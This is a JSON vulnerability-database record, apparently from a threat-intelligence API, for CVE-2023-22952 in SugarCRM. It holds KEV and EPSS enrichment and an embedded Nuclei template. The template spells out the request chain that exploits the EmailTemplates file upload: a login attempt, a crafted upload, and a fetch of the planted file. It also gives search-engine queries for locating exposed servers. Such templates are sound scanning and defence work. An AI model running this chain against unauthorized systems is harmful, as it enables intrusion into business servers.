{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-22952/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-22952/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-22952/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-22952/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-22952/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-22952"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-22952"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.80139,
      "kev": true,
      "percentile": 0.99598
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-22952.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2023-22952\n\ninfo:\n  name: SugarCRM Unauthenticated - Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: high\n  description: |\n    In SugarCRM before 12.0. Hotfix 91155, a crafted request can inject custom PHP code through the EmailTemplates because of missing input validation.\n  impact: |\n    Authenticated attackers can inject custom PHP code through EmailTemplates to execute arbitrary commands on the SugarCRM server, potentially compromising customer relationship data and business intelligence information.\n  remediation: |\n    Update SugarCRM to version 12.0 Hotfix 91155 or later that implements proper input validation for EmailTemplates.\n  reference:\n    - https://attackerkb.com/topics/E486ui94II/cve-2023-22952\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2023-22952\n    cwe-id: CWE-20,CWE-94\n    epss-score: 0.80139\n    epss-percentile: 0.99597\n    cpe: cpe:2.3:a:sugarcrm:sugarcrm:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: sugarcrm\n    product: sugarcrm\n    shodan-query:\n      - http.html:\"sugarcrm inc. all rights reserved\"\n      - http.title:\"sugar setup wizard\"\n      - http.title:\"sugarcrm\"\n    fofa-query:\n      - body=\"sugarcrm inc. all rights reserved\"\n      - title=\"sugar setup wizard\"\n      - title=sugarcrm\n    google-query:\n      - intext:\"sugarcrm inc. all rights reserved\"\n      - intitle:\"sugar setup wizard\"\n      - intitle:sugarcrm\n  tags: cve,cve2023,sugarcrm,rce,file-upload,intrusive,kev,vkev,vuln\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a\n\n    matchers:\n      - type: word\n        part: body\n        internal: true\n        words:\n          - 'You must specify a valid username and password'\n\n  - raw:\n      - |-\n        POST /index.php HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR\n        Connection: close\n\n        ------WebKitFormBoundaryWeTJtA8WByYIQMGR\n        Content-Disposition: form-data; name=\"action\"\n\n        AttachFiles\n        ------WebKitFormBoundaryWeTJtA8WByYIQMGR\n        Content-Disposition: form-data; name=\"module\"\n\n        EmailTemplates\n        ------WebKitFormBoundaryWeTJtA8WByYIQMGR\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.txt\"\n        Content-Type: image/png\n\n        {{ base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAUAAAAUBAMAAAC3y+roAAAAD1BMVEVDVkUtMjAyMy0yMjk1MiA7qbPWAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAEUlEQVQImWNgAAJGZQcGKgEAHPkAZVUOitsAAAAASUVORK5CYII=')}}\n        ------WebKitFormBoundaryWeTJtA8WByYIQMGR--\n\n\n    matchers:\n      - type: word\n        part: body\n        internal: true\n        words:\n          - '[\"cache\\/images\\/{{randstr}}.txt\"]'\n\n  - raw:\n      - |\n        GET /cache/images/{{randstr}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"CVE-2023-22952\"\n\n      - type: word\n        part: header\n        words:\n          - \"text/plain\"\n# digest: 490a004630440220681bcf6fee1fac5b0424ceb8a7d451202eca08a32a3e17da134dc106b8a6f6040220182e9412ae8e98ef24904da50a3e242f5faf8b022e257b86e4ab0f15d29e4281:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-22952"
}